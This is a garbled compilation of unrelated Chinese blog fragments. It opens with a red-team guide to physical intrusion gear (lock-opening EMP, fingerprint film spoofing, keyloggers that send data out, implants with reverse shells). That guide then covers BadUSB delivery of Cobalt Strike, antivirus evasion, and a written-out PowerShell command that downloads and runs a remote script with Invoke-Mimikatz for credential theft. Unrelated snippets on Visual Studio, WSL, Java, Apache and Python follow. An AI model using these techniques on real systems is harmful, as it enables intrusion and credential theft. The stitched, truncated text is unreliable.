外接无线网卡主要是用来配合kali破解无线密码的,现在一般是通过抓握手包然后跑包来破解。还有其他的方式可以通过伪造SSID钓鱼等等。
2.WIFI 大菠萝
大菠萝不是吃的那个玩意,可以说是一个钓鱼WiFi。最新版本的大菠萝功能更强大,其实可以替代上面的外接无线网卡了。大菠萝可以捕获握手包并模仿目标AP,甚至可以完全模仿首选网络,从而实现中间人攻击。
3.EMP干扰器
当前电子设备和电路的工作频率不断提高,而工作电压却逐渐降低,因此对电磁脉冲(EMP)的敏感性和易损性也不断增加。同时,电子系统中的集成电路对电磁脉冲比较敏感,往往一个较大的电磁脉冲,就会使集成块产生误码、甚至电子元器件失效或烧毁,所以我们可以使用EMP干扰来打开部分电子门禁和电子密码锁。甚至你可以用一个电蚊拍自制EMP请自行搜索教程。
4.变色龙
变色龙主要有三种使用方法,第一种是随机化UID进行模糊测试、第二种是支持IC卡的仿真、第三种是存储多张虚拟化卡。有机会具体介绍
5.纳米指纹膜
这个公司门禁代打卡的小伙伴们应该不陌生,曾经有同事就这么玩过。就是可以通过指纹拓印出一个跟原指纹一模一样的指纹膜。至于怎样能获得对方的指纹....就得看你的社工啦。
6.键盘记录器
如果你能接触到目标主机,那你就可以将键盘记录器接入到主机和键盘之间,并配置连接WI-FI,将键盘敲击的数据实时传回远程服务器。
7.内网硬件植入
通过前面的步骤,红队渗透小哥哥可能已经进入了蓝队内部,这个时候我们就需要可以在内网偷偷装一个PacketSquirrel,作为中间人攻击工具,PacketSquirrel可以捕获网络端点的数据包、并且可以使用VPN和反向shell获得远程访问权限。
8.HID 攻击
badusb是HID(人机接口)攻击的一种,也称为热插拔攻击。想象一下,你可以走到一台计算机上,插入看似无害的USB驱动器,然后安装后门,窃听文档,窃取密码...(用法很多,全靠想象)。
二、Badusb 上线CS BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。
同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向BadUSB烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。
BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。
2.1 准备工作 一个Arduino Leonardo开发板,伪装成虚拟键盘的U盘Arduino IDE,用来烧录代码部署好CS服务端,用来上线 2.2 CS简单免杀 部署CobaltStrike服务器,生成powershell的payload
2.2.1 代码混淆 PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。
进入Invoke-Obfuscation目录后,在PowerShell中执行命令
Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation #然后执行命令,指定待处理的Ps1文件 set scriptpath c:\xxx\payload.ps1 encoding #输入encoding 并选择编码方式,比如 1 #输入命令,导出免杀ps文件到指定路径 out C:\xxx\xxx.ps1 2.2.2 远程代码执行-替换和干扰 虽然ps1代码自身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。
1、替换文件名
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://www.xiaodi8.com/ms/ps/1.ps1''));Invoke-Mimikatz';IEX ($a+$b)" 2、替换关键字
文章目录 前言个人环境 SSH到WSL复制文件后记 前言 最近在用我心爱的Visual Studio配合WSL2做一些Linux开发,但是有一个问题,就是当我#include <sys/socket.h>,会提示找不到文件
我尝试了各种姿势,包括修改CMakeSettings.json下的remoteCopyAdditionalIncludeDirectories条目、SSH到WSL然后拉取远程标头,都没有卵用,这期间我在MSDN官方文档、各种简中博客、StackOverflow上各种搜寻均未果,人都要崩溃了,最后我终于找到一条不那么优雅的方式解决问题,那就是直接复制。
个人环境 Visual Studio 2022 preview
WSL2
SSH到WSL 这一步是为了拉取WSL上的include,理论上来讲直接跳过这一步,宿主机访问WSL的include目录手动复制也是可以的,这里展示一下SSH的方式。首先我们在WSL上开启SSH功能
sudo apt install openssh-server sudo vim /etc/ssh/sshd_config # 编辑 加入两行:
Port 22 PasswordAuthentication yes 然后重启SSH服务
sudo service ssh --full-restart 然后ipconfig查看wsl的IP,inet就是主机名
在VS的工具 > 选项 > 跨平台里点添加,SSH连接
然后在远程标头intellisense管理器里选中刚刚的连接,点击下载。
复制文件 然后点浏览,把x86_64-linux-gnu复制到VS的linux的include目录里,路径如图,对应我的路径做修改就行了
然后复制这个gnu文件夹下的所有文件,复制到这个地方,重复的我直接跳过
然后回到VS,项目 > 重新扫描解决方案
然后就可以看到头文件成功intellisense了,感恩!
后记 这次算是把我折腾惨了,全网基本只有VSCode的讨论,VS的讨论寥寥无几,一搜还很容易搜到VSCode。。文中的这种解决方案显然是很不优雅的,理论上来讲VS是提供了远程拉取标头用于intellisense的,比如改Cmakesettings之类的,不知道为什么我就是用不了。。。合理怀疑是BUG,如果有更好的方法欢迎给我留言。
原文链接:BeanUtils深拷贝,浅拷贝 – 编程屋
1 深拷贝,浅拷贝 浅拷贝:对基本数据类型进行值传递,对引用数据类型进行引用传递般的拷贝,此为浅拷贝。
深拷贝:对基本数据类型进行值传递,对引用数据类型,创建一个新的对象,并复制其内容,此为深拷贝。
2 BeanUtils.copyProperties 注意:避免使用Apache Beanutils进行属性copy。因为Apache Beanutils性能较差,可以使用其他方案如:Spring BeanUtils,Cglib BeanCopier,注意均是浅拷贝。
其实常见的BeanUtils有2个:
spring有BeanUtils
apache的commons也有BeanUtils。
接下来用代码验证上述结论:
两个实体类:
实体类Student @Data public class Student { private String stuName; private Integer age; } 实体类People @Data public class People { private String name; private Student student; } 测试代码:
public static void main(String[] args) { People people = new People(); people.setName("阿三"); Student student = new Student(); student.setStuName("李四"); student.setAge(20); people.setStudent(student); People people1 = new People(); /** * 将people中的属性拷贝给people1 */ BeanUtils.
【小众消息】
https://fzqxk86ywz.feishu.cn/sheets/GugIsI9zKhNaEwtJscbcgKFCn6b?from=from_copylink
「软件测试入门和进阶实践资料v1.0.xlsx」
https://fzqxk86ywz.feishu.cn/share/base/view/shrcnp65x91aNEkF2REnU2VcmmH
网站首页可以打开,访问任何一个子页面时,都不能正常跳转,提示:the requested .html URL was not found on this server,出现404错误
解决方法:
一、检查apache网站根目录,有没有.htaccess文件存在,比如我的是存放目录:
ll -a /var/www/html/chanzhieps/www/.htaccess,
没有就需要新建一个空白文件,把下面的内容贴进去。
.htaccess是一个隐藏文件,需要ll -a 或者 ls -a 命令显示
.htaccess的文件内容:
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule (.*)$ index.php/$1 [L] </IfModule> 二、修改Apache的httpd.conf文件
查找:AllowOverride None,修改为:AllowOverride All
三、重启apache生效
service httpd restart
文章目录 如何将Endnote中参考文献格式插入到Word? 如何将Endnote中参考文献格式插入到Word? 1、首先确保Endnote和Word安装正确,正常可以从学校官网中下载到正版软件,下载后在word栏目中会出现EndNote的标签;
2、可以通过Style选择参考文献格式;
3、在Word需要插入文献的地方,将光标放在此处;
4、点击Go to EndNote,选择需要引用的参考文献;
5、可以使用快捷键 Alt + 2 既可插入成功;(支持多篇参考文献同时插入)
6、如果插入后出现一堆代码,可以先点击Update Citations and Bioliography,再按快捷键 Alt + 9 既可;
文章目录 WSL进入子系统 WSL 我记得几年前就有人科普,说是AWSL的意思是a windows subsystem for linux,之前一直都是直接在微软商店里直接搜索Linux,没想到现在竟然可以直接用命令行操作
首先,可以先查看一下目前支持的子系统
>wsl --list --online 以下是可安装的有效分发的列表。 使默认分发用 “*” 表示。 使用 'wsl --install -d <Distro>' 安装。 NAME FRIENDLY NAME * Ubuntu Ubuntu Debian Debian GNU/Linux kali-linux Kali Linux Rolling openSUSE-42 openSUSE Leap 42 SLES-12 SUSE Linux Enterprise Server v12 Ubuntu-16.04 Ubuntu 16.04 LTS Ubuntu-18.04 Ubuntu 18.04 LTS Ubuntu-20.04 Ubuntu 20.04 LTS 然后可以选择一个进行安装,但安装的时候,需要用管理员身份打开命令行
>wsl --install -d ubuntu 正在安装: 适用于 Linux 的 Windows 子系统 [==========================74.8%============ ] 安装成功后提示重启系统,重启系统后查看一下子系统状态
如果后端传过来的是时间戳格式的时间,前端该怎么转换让时间正常展示 // 获取时间戳 var timestamp = 1621457415000; // 创建 Date 对象 var date = new Date(timestamp); // 获取年份、月份、日期、小时、分钟、秒钟 var year = date.getFullYear(); var month = date.getMonth() + 1; // 注意月份要加 1 var day = date.getDate(); var hour = date.getHours(); var minute = date.getMinutes(); var second = date.getSeconds(); // 格式化时间 var formattedTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + "
软件下载
软件:Windows 11
版本:21H2语言:简体中文
大小:5.14G
安装环境:VMware硬件要求:CPU@2.0GHz 内存@4G(或更高)下载通道②丨百度网盘:
1.Vm16.1.1下载链接:
https://pan.baidu.com/s/19khUO41fpi_NPuSNUx6ONA
提取码:7777
2.Win11系统下载链接:
https://pan.baidu.com/s/1R7nA0UtkyNsQ8alLQLGT3g
提取码:7777
3.工具下载链接:
https://pan.baidu.com/s/1Cejsi1syJry8NyGBzHFReQ
提取码:7777
0.准备内容 VMware 16Windows 11镜像 1.下载安装VMware16 进入官网下载地址:https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html
界面如下,点击下载 Workstation 16 Pro for Windows;
下载完成,打开文件按步骤进行安装;
我的电脑已经安装了VMware,这里是使用我的虚拟机进行安装演示,地址我就选择了默认地址,可以更改到其他的盘;
我选择了不加入VMware客户体验提升计划,可以随意;
等待安装完成;
使用VMware需要密钥,点击许可证,也可以选择完成,后续在软件界面输入许可证密钥;
输入密钥,自行搜索;
之后就可以愉快地使用了。
2.下载windows11镜像文件 镜像下载地址:Microsoft官网下载
我要安装的版本为Windows11专业版,所以选择了第一个,只想安装家庭版可以直接选择第二个,下载可能有点慢,耐心等待;
第一个下载项是多个系统版本的集成,具体包括了Windows 11 家庭版、家庭单语言版、教育版、专业版、专业教育版、专业工作站版;
3.创建新的虚拟机 打开VMware,选择创建新的虚拟机,没有主页选项卡的也可以选择左上角文件 —> 新建虚拟机,或者使用快捷键Ctrl+N;
选择典型,下一步;
这里选择稍后安装操作系统,下一步;
选择客户机操作系统为Windows,选择版本为Windows 10 x64,下一步;
更改虚拟机名称为Windows11,更改位置为G:\Windows11,位置名称可以随便更改,这里我的G盘实际上是固态硬盘;
设置最大磁盘大小为60G,可以视情况而更改,将虚拟磁盘拆分成为多个文件,进行下一步;
选择完成;
在我的计算机列表里已经有了Windows11,先别着急开启计算机,选择编辑虚拟机设置;
选择选项;
选择访问控制,为虚拟机加密,不加密就添加不了可信平台模块,后续可能会安装不了Windows11;
加密完成再选择高级,启用安全引导;
选择硬件,点击下面的添加;
添加可信平台模块,点击完成;
选择CD/DVD,添加ISO镜像文件,文件地址为下载Windows11镜像的地址;
设置内存,为4G,处理器为4,最后点击确定,完成虚拟机设置。
4.安装Windows11 开启虚拟机,出现这个界面,一定要快速按回车键;
选择我没有产品密钥;
选择专业版,可以选择其他的版本;
这里选择仅安装;
下面就是正常设置windows了,这里就不多赘述了。
5.安装VMware Tools 只有在VMware虚拟机中安装好了VMware Tools,才能实现主机与虚拟机之间的文件共享,同时可支持自由拖拽的功能,鼠标也可在虚拟机与主机之间自由移动(不用再按ctrl+alt),且虚拟机屏幕也可实现全屏化;
一. 为什么要建立标准的部件库呢? 1. 提高质量。希望我们的数据更标准,更规范。
2. 数据完整。建立数据的完整度,让我们的数据可以支撑设计,生产,运维等各个方面的流程。
PLAN Data Portal是EPLAN软件的一个在线部件库平台,用于获取和管理电气和机械组件的数据。它提供了一个集中的地方,让用户可以方便地访问和下载所需的部件数据。
PLAN Data Portal部件库的内容一般划分为7个等级:
分级名称主要用途包含数据信息1级商业数据商业采购、物流产品类别、制造商信息、模型/采购编号、描述、供货长度、产品认证、条形码编号等2级设备功能数据设备功能参数功能定义、原理图连接信息、技术参数、设备附件3级原理图设计模型电气原理设计原理图设计平面模型4级平面布局模型平面布局设计平面布局模型、设备的尺寸信息5级3D布线数据建立3D模型连接数据设备的接线信息6级3D数控加工数据建立3D模型数控加工数据设备的数控加工信息7级3D设计模型3D数字设计设备的3D模型及装配逻辑其它辅助数据产品的辅助说明信息产品的说明书、图片、3D原始模型及其它辅助资料 二. 部件创建的几种方式 三. 部件创建的准备材料 四. 部件创建的步骤
<el-form-item label="省/市" prop="city"> <el-cascader class="chooseaddress" v-model="selectedOptions" :options="options" :props="props" placeholder="请选择省市" @change="handleChange" ></el-cascader> </el-form-item> props: { value: 'name', // 显示的值字段名 label: 'name', // 显示的文本字段名 children: 'children' // 子级字段名 }, selectedOptions: [], // 选择的省市数组 option数据如下:
options: [ { name: '北京市', children: [ { name: '东城区' }, { name: '西城区' }, { name: '朝阳区' }, { name: '丰台区' }, { name: '石景山区' }, { name: '海淀区' }, { name: '门头沟区' }, { name: '房山区' }, { name: '通州区' }, { name: '顺义区' }, { name: '昌平区' }, { name: '大兴区' }, { name: '怀柔区' }, { name: '平谷区' }, { name: '密云区' }, { name: '延庆区' } ] }, { name: '上海市', children: [ { name: '黄浦区' }, { name: '徐汇区' }, { name: '长宁区' }, { name: '静安区' }, { name: '普陀区' }, { name: '虹口区' }, { name: '杨浦区' }, { name: '闵行区' }, { name: '宝山区' }, { name: '嘉定区' }, { name: '浦东新区' }, { name: '金山区' }, { name: '松江区' }, { name: '青浦区' }, { name: '奉贤区' }, { name: '崇明区' } ] }, { name: '天津市', children: [ { name: '和平区' }, { name: '河东区' }, { name: '河西区' }, { name: '南开区' }, { name: '河北区' }, { name: '红桥区' }, { name: '东丽区' }, { name: '西青区' }, { name: '津南区' }, { name: '北辰区' }, { name: '武清区' }, { name: '宝坻区' }, { name: '滨海新区' }, { name: '宁河区' }, { name: '静海区' }, { name: '蓟州区' } ] }, { name: '河北省', children: [ { name: '石家庄市' }, { name: '唐山市' }, { name: '秦皇岛市' }, { name: '邯郸市' }, { name: '邢台市' }, { name: '保定市' }, { name: '张家口市' }, { name: '承德市' }, { name: '沧州市' }, { name: '廊坊市' }, { name: '衡水市' } ] }, { name: '山西省', children: [ { name: '太原市' }, { name: '大同市' }, { name: '阳泉市' }, { name: '长治市' }, { name: '晋城市' }, { name: '朔州市' }, { name: '晋中市' }, { name: '运城市' }, { name: '忻州市' }, { name: '临汾市' }, { name: '吕梁市' } ] }, { name: '内蒙古自治区', children: [ { name: '呼和浩特市' }, { name: '包头市' }, { name: '乌海市' }, { name: '赤峰市' }, { name: '通辽市' }, { name: '鄂尔多斯市' }, { name: '呼伦贝尔市' }, { name: '巴彦淖尔市' }, { name: '乌兰察布市' }, { name: '兴安盟' }, { name: '锡林郭勒盟' }, { name: '阿拉善盟' } ] }, { name: '广西壮族自治区', children: [ { name: '南宁市' }, { name: '柳州市' }, { name: '桂林市' }, { name: '梧州市' }, { name: '北海市' }, { name: '防城港市' }, { name: '钦州市' }, { name: '贵港市' }, { name: '玉林市' }, { name: '百色市' }, { name: '贺州市' }, { name: '河池市' }, { name: '来宾市' }, { name: '崇左市' } ] }, { name: '辽宁省', children: [ { name: '沈阳市' }, { name: '大连市' }, { name: '鞍山市' }, { name: '抚顺市' }, { name: '本溪市' }, { name: '丹东市' }, { name: '锦州市' }, { name: '营口市' }, { name: '阜新市' }, { name: '辽阳市' }, { name: '盘锦市' }, { name: '铁岭市' }, { name: '朝阳市' }, { name: '葫芦岛市' } ] }, { name: '吉林省', children: [ { name: '长春市' }, { name: '吉林市' }, { name: '四平市' }, { name: '辽源市' }, { name: '通化市' }, { name: '白山市' }, { name: '松原市' }, { name: '白城市' }, { name: '延边朝鲜族自治州' } ] }, { name: '黑龙江省', children: [ { name: '哈尔滨市' }, { name: '齐齐哈尔市' }, { name: '鸡西市' }, { name: '鹤岗市' }, { name: '双鸭山市' }, { name: '大庆市' }, { name: '伊春市' }, { name: '佳木斯市' }, { name: '七台河市' }, { name: '牡丹江市' }, { name: '黑河市' }, { name: '绥化市' }, { name: '大兴安岭地区' } ] }, { name: '江苏省', children: [ { name: '南京市' }, { name: '无锡市' }, { name: '徐州市' }, { name: '常州市' }, { name: '苏州市' }, { name: '南通市' }, { name: '连云港市' }, { name: '淮安市' }, { name: '盐城市' }, { name: '扬州市' }, { name: '镇江市' }, { name: '泰州市' }, { name: '宿迁市' } ] }, { name: '浙江省', children: [ { name: '杭州市' }, { name: '宁波市' }, { name: '温州市' }, { name: '嘉兴市' }, { name: '湖州市' }, { name: '绍兴市' }, { name: '金华市' }, { name: '衢州市' }, { name: '舟山市' }, { name: '台州市' }, { name: '丽水市' } ] }, { name: '安徽省', children: [ { name: '合肥市' }, { name: '芜湖市' }, { name: '蚌埠市' }, { name: '淮南市' }, { name: '马鞍山市' }, { name: '淮北市' }, { name: '铜陵市' }, { name: '安庆市' }, { name: '黄山市' }, { name: '滁州市' }, { name: '阜阳市' }, { name: '宿州市' }, { name: '六安市' }, { name: '亳州市' }, { name: '池州市' }, { name: '宣城市' } ] }, { name: '福建省', children: [ { name: '福州市' }, { name: '厦门市' }, { name: '莆田市' }, { name: '三明市' }, { name: '泉州市' }, { name: '漳州市' }, { name: '南平市' }, { name: '龙岩市' }, { name: '宁德市' } ] }, { name: '江西省', children: [ { name: '南昌市' }, { name: '景德镇市' }, { name: '萍乡市' }, { name: '九江市' }, { name: '新余市' }, { name: '鹰潭市' }, { name: '赣州市' }, { name: '吉安市' }, { name: '宜春市' }, { name: '抚州市' }, { name: '上饶市' } ] }, { name: '山东省', children: [ { name: '济南市' }, { name: '青岛市' }, { name: '淄博市' }, { name: '枣庄市' }, { name: '东营市' }, { name: '烟台市' }, { name: '潍坊市' }, { name: '济宁市' }, { name: '泰安市' }, { name: '威海市' }, { name: '日照市' }, { name: '莱芜市' }, { name: '临沂市' }, { name: '德州市' }, { name: '聊城市' }, { name: '滨州市' }, { name: '菏泽市' } ] }, { name: '河南省', children: [ { name: '郑州市' }, { name: '开封市' }, { name: '洛阳市' }, { name: '平顶山市' }, { name: '安阳市' }, { name: '鹤壁市' }, { name: '新乡市' }, { name: '焦作市' }, { name: '濮阳市' }, { name: '许昌市' }, { name: '漯河市' }, { name: '三门峡市' }, { name: '南阳市' }, { name: '商丘市' }, { name: '信阳市' }, { name: '周口市' }, { name: '驻马店市' }, { name: '济源市' } ] }, { name: '湖北省', children: [ { name: '武汉市' }, { name: '黄石市' }, { name: '十堰市' }, { name: '宜昌市' }, { name: '襄阳市' }, { name: '鄂州市' }, { name: '荆门市' }, { name: '孝感市' }, { name: '荆州市' }, { name: '黄冈市' }, { name: '咸宁市' }, { name: '随州市' }, { name: '恩施土家族苗族自治州' }, { name: '仙桃市' }, { name: '潜江市' }, { name: '天门市' }, { name: '神农架林区' } ] }, { name: '湖南省', children: [ { name: '长沙市' }, { name: '株洲市' }, { name: '湘潭市' }, { name: '衡阳市' }, { name: '邵阳市' }, { name: '岳阳市' }, { name: '常德市' }, { name: '张家界市' }, { name: '益阳市' }, { name: '郴州市' }, { name: '永州市' }, { name: '怀化市' }, { name: '娄底市' }, { name: '湘西土家族苗族自治州' } ] }, { name: '广东省', children: [ { name: '广州市' }, { name: '韶关市' }, { name: '深圳市' }, { name: '珠海市' }, { name: '汕头市' }, { name: '佛山市' }, { name: '江门市' }, { name: '湛江市' }, { name: '茂名市' }, { name: '肇庆市' }, { name: '惠州市' }, { name: '梅州市' }, { name: '汕尾市' }, { name: '河源市' }, { name: '阳江市' }, { name: '清远市' }, { name: '东莞市' }, { name: '中山市' }, { name: '潮州市' }, { name: '揭阳市' }, { name: '云浮市' } ] }, { name: '广西壮族自治区', children: [ { name: '南宁市' }, { name: '柳州市' }, { name: '桂林市' }, { name: '梧州市' }, { name: '北海市' }, { name: '防城港市' }, { name: '钦州市' }, { name: '贵港市' }, { name: '玉林市' }, { name: '百色市' }, { name: '贺州市' }, { name: '河池市' }, { name: '来宾市' }, { name: '崇左市' } ] }, { name: '海南省', children: [ { name: '海口市' }, { name: '三亚市' }, { name: '三沙市' }, { name: '儋州市' }, { name: '五指山市' }, { name: '琼海市' }, { name: '文昌市' }, { name: '万宁市' }, { name: '东方市' }, { name: '定安县' }, { name: '屯昌县' }, { name: '澄迈县' }, { name: '临高县' }, { name: '白沙黎族自治县' }, { name: '昌江黎族自治县' }, { name: '乐东黎族自治县' }, { name: '陵水黎族自治县' }, { name: '保亭黎族苗族自治县' }, { name: '琼中黎族苗族自治县' } ] }, { name: '重庆市', children: [ { name: '渝中区' }, { name: '大渡口区' }, { name: '江北区' }, { name: '沙坪坝区' }, { name: '九龙坡区' }, { name: '南岸区' }, { name: '北碚区' }, { name: '渝北区' }, { name: '巴南区' }, { name: '黔江区' }, { name: '长寿区' }, { name: '江津区' }, { name: '合川区' }, { name: '永川区' }, { name: '南川区' }, { name: '綦江区' }, { name: '大足区' }, { name: '璧山区' }, { name: '铜梁区' }, { name: '潼南区' }, { name: '荣昌区' }, { name: '开州区' }, { name: '梁平区' }, { name: '武隆区' }, { name: '城口县' }, { name: '丰都县' }, { name: '垫江县' }, { name: '忠县' }, { name: '云阳县' }, { name: '奉节县' }, { name: '巫山县' }, { name: '巫溪县' }, { name: '石柱土家族自治县' }, { name: '秀山土家族苗族自治县' }, { name: '酉阳土家族苗族自治县' }, { name: '彭水苗族土家族自治县' } ] }, { name: '四川省', children: [ { name: '成都市' }, { name: '自贡市' }, { name: '攀枝花市' }, { name: '泸州市' }, { name: '德阳市' }, { name: '绵阳市' }, { name: '广元市' }, { name: '遂宁市' }, { name: '内江市' }, { name: '乐山市' }, { name: '南充市' }, { name: '眉山市' }, { name: '宜宾市' }, { name: '广安市' }, { name: '达州市' }, { name: '雅安市' }, { name: '巴中市' }, { name: '资阳市' }, { name: '阿坝藏族羌族自治州' }, { name: '甘孜藏族自治州' }, { name: '凉山彝族自治州' } ] }, { name: '贵州省', children: [ { name: '贵阳市' }, { name: '六盘水市' }, { name: '遵义市' }, { name: '安顺市' }, { name: '毕节市' }, { name: '铜仁市' }, { name: '黔西南布依族苗族自治州' }, { name: '黔东南苗族侗族自治州' }, { name: '黔南布依族苗族自治州' } ] }, { name: '云南省', children: [ { name: '昆明市' }, { name: '曲靖市' }, { name: '玉溪市' }, { name: '保山市' }, { name: '昭通市' }, { name: '丽江市' }, { name: '普洱市' }, { name: '临沧市' }, { name: '楚雄彝族自治州' }, { name: '红河哈尼族彝族自治州' }, { name: '文山壮族苗族自治州' }, { name: '西双版纳傣族自治州' }, { name: '大理白族自治州' }, { name: '德宏傣族景颇族自治州' }, { name: '怒江傈僳族自治州' }, { name: '迪庆藏族自治州' } ] }, { name: '西藏自治区', children: [ { name: '拉萨市' }, { name: '日喀则市' }, { name: '昌都市' }, { name: '林芝市' }, { name: '山南市' }, { name: '那曲市' }, { name: '阿里地区' } ] }, { name: '陕西省', children: [ { name: '西安市' }, { name: '铜川市' }, { name: '宝鸡市' }, { name: '咸阳市' }, { name: '渭南市' }, { name: '延安市' }, { name: '汉中市' }, { name: '榆林市' }, { name: '安康市' }, { name: '商洛市' } ] }, { name: '甘肃省', children: [ { name: '兰州市' }, { name: '嘉峪关市' }, { name: '金昌市' }, { name: '白银市' }, { name: '天水市' }, { name: '武威市' }, { name: '张掖市' }, { name: '平凉市' }, { name: '酒泉市' }, { name: '庆阳市' }, { name: '定西市' }, { name: '陇南市' }, { name: '临夏回族自治州' }, { name: '甘南藏族自治州' } ] }, { name: '青海省', children: [ { name: '西宁市' }, { name: '海东市' }, { name: '海北藏族自治州' }, { name: '黄南藏族自治州' }, { name: '海南藏族自治州' }, { name: '果洛藏族自治州' }, { name: '玉树藏族自治州' }, { name: '海西蒙古族藏族自治州' } ] }, { name: '宁夏回族自治区', children: [ { name: '银川市' }, { name: '石嘴山市' }, { name: '吴忠市' }, { name: '固原市' }, { name: '中卫市' } ] }, { name: '新疆维吾尔自治区', children: [ { name: '乌鲁木齐市' }, { name: '克拉玛依市' }, { name: '吐鲁番市' }, { name: '哈密市' }, { name: '昌吉回族自治州' }, { name: '博尔塔拉蒙古自治州' }, { name: '巴音郭楞蒙古自治州' }, { name: '阿克苏地区' }, { name: '克孜勒苏柯尔克孜自治州' }, { name: '喀什地区' }, { name: '和田地区' }, { name: '伊犁哈萨克自治州' }, { name: '塔城地区' }, { name: '阿勒泰地区' }, { name: '自治区直辖县级行政单位' } ] }, { name: "
目录 前言
官方对 Python 的介绍如下:
Python简介
Python的流行与计算机的性能提升以及互联网发展迅速有关;
什么是Python?
前言 最近Python风头有点高,Python在TIOBE排名榜上超过C语言和Java成为第一,然后我准备好好了解(学习)下,在这里做下学习笔记分享 我认为不管学习什么,第一件事肯定是了解它的诞生以及发展历史;
Python 是一种极少数能声言兼具。简单而又功能强大的编程语言,它专注于如何解决问题,而非拘泥于语法与结构。
官方对 Python 的介绍如下: Python 是一款易于学习且功能强大的编程语言。 它具有高效率的数据结构,能够简单又有效地实现面向对象编程。
简洁的语法与动态输入特性,加之其解释性语言的本质,使得它成为一种在多种领域与绝大多数平台都能进行脚本编写与应用快速开发工作的理想语言。
Python简介 Python 的创造者吉多·范罗苏姆(Guido van Rossum),江湖人称“龟叔”,采用 BBC 电视节目《蒙提·派森的飞行马戏团(Monty Python’s Flying Circus,一译巨蟒剧团)》的名字来为这门编程语言命名。 尽管他本人并不是特别喜欢蟒蛇这种通过在猎物身边,卷曲自己的身体,以此来碾碎猎物身体进食的动物。
1989年,为了打发圣诞节假期,罗苏姆开始写Python语言的编译解释器。罗苏姆作为一名语言设计爱好者,已经有过设计语言的的尝试。虽然上次的语言设计并不成功,但罗苏姆依然乐在其中。这一次设计Python语言,也不过是他又一次寻找乐趣的小创造。
1991年,第一个Python编译/解释器诞生。它是用C语言实现的,能够调用C语言生成的动态链接库。
从一出生,Python就已经具有了一直保持到现在的基本语法:类(class)、函数(function)、异常处理(exception)、包括表(list)和词典(dictionary)在内的核心数据类型,以及模块(module)为基础的拓展系统。
Python还特别在意可拓展性(extensibility),这是罗苏姆实用主义原则的又一体现。Python可以在多个层次上拓展。从高层上,你可以引入其他人编写的Python文件,来为自己的代码拓展功能。
如果出于性能考惠,你还可以直接引入C和C++语言编译出的库。由于C和C++语言在代码方面的多年储备,Python相当于站在了巨人的肩膀上。Python就像是建房一样,先规定好大的框架,再借着模块系统给程序员自由发挥的空间。
最初的Python完全由罗苏姆本人开发。由于Python隐藏了许多机器层面上的细节,并显示出了逻辑层面的编程思考,所以这个好用的语言得到了罗苏姆同事的欢迎。同事们在工作中乐于使用Python,然后向罗苏姆反馈使用意见,其中不少人都参与到语言的改进。
罗苏姆和他的同事构成了Python的核心团队,他们将自己大部分的业余时间都奉献给了Python。Python也逐渐从罗苏姆的同事圈传播到其他科研机构,慢慢用于学术圈之外的程序开发
Python的流行与计算机的性能提升以及互联网发展迅速有关; 20世界90时代,微软和英特尔续PC以令天下,几乎型断了个人电脑市场。当时,大众化的信息革命尚未到来,但对于近水楼台的程序员来说,互联网已经是平日里常用的工具。
程序员率先使用互联网进行交流,如电子邮件和新闻组。互联网让信息交流成本大大降低,也让有共同爱好的人能够跨越地理限制聚合起来。以互联网的通信能力为基础,开源(OpenSource)的软件开发模式变得流行。程序员利用业余时间进行软件开发,并开放源代码。
罗苏姆本人也是一位开源先锋,他维护了一个邮件列表,并把早期的Python用户都放在里面。早期Python用户就可以通过邮件进行群组交流。
这些用户大多都是程序员,有相当优秀的开发能力。他们来自许多领域,有不同的背景,对Python也提出了各种各样的功能需求。由于Python相当开放,又容易拓展,所以当一个人不满足于现有功能时,他很容易对Python进行拓展或改造。随后,这些用户将改动发给罗苏姆,由他决定是否将新的特征加入到Python中。
如果代码能被采纳,将会是极大的荣誉。罗苏姆本人的角色越来藏偏重于框架的制定。如果问题太复杂,则罗苏姆会选择绕过去,也就是走捷径,把其留给社区的其他人解决。就连创建网站、筹集基金这样的事情,也有人乐干处理。社区日渐成熟,
对于初学编程的人来说,从Python开始学习编程的好处很多,如语法简单和模块丰富。国外许多大学的计算机导论课程,都开始选择Python作为课程语言,替代了过去常用的C或Java。
但如果把Python当作所谓的“最好的语言”,希望学一门Python就成为“万人敌”,则是一种幻想。每个语言都有它优秀的地方,但也有各种各样的缺陷。一个语言“好与不好”的评判,还受制于平台、硬件、时代等外部原因。更进一步,很多开发工作需要特定的语言,比如用Java来编写安卓应用,用Obiective-C或Swift来编写苹果应用。
无论从哪一门语言学起,最终都不会拘泥于初学的那门语言。只有博彩众家,才能让编程的创造力自由发挥。
什么是Python? Python (发音[par0an] )本义是指“蟒蛇”(这里需要说明的是,Python 并不是以鳞蛇命名,而是以电视节目Monty Python's Flying Circus来命名的),它是1989年由荷兰人Guidovan Rossum发明的种面向对象的解释型高级编程语言。 它的设计哲学为优雅、明确、简单。实际上,Python也是按照这个理念做得,以至于现在网络上流传着“人生苦短,我用Python"的说法。可见Python有着简单、开发速度快、节省时间和精力等特点。
Python本身并非所有的特性和功能都集成到语言核心,而是被设计为可扩充的。它具有丰富和强大的库,能够把用其他语言(尤其是C/C++) 制作的各种模块很轻松地联结在一起。 为此,Python 常被称为“胶水”语言。
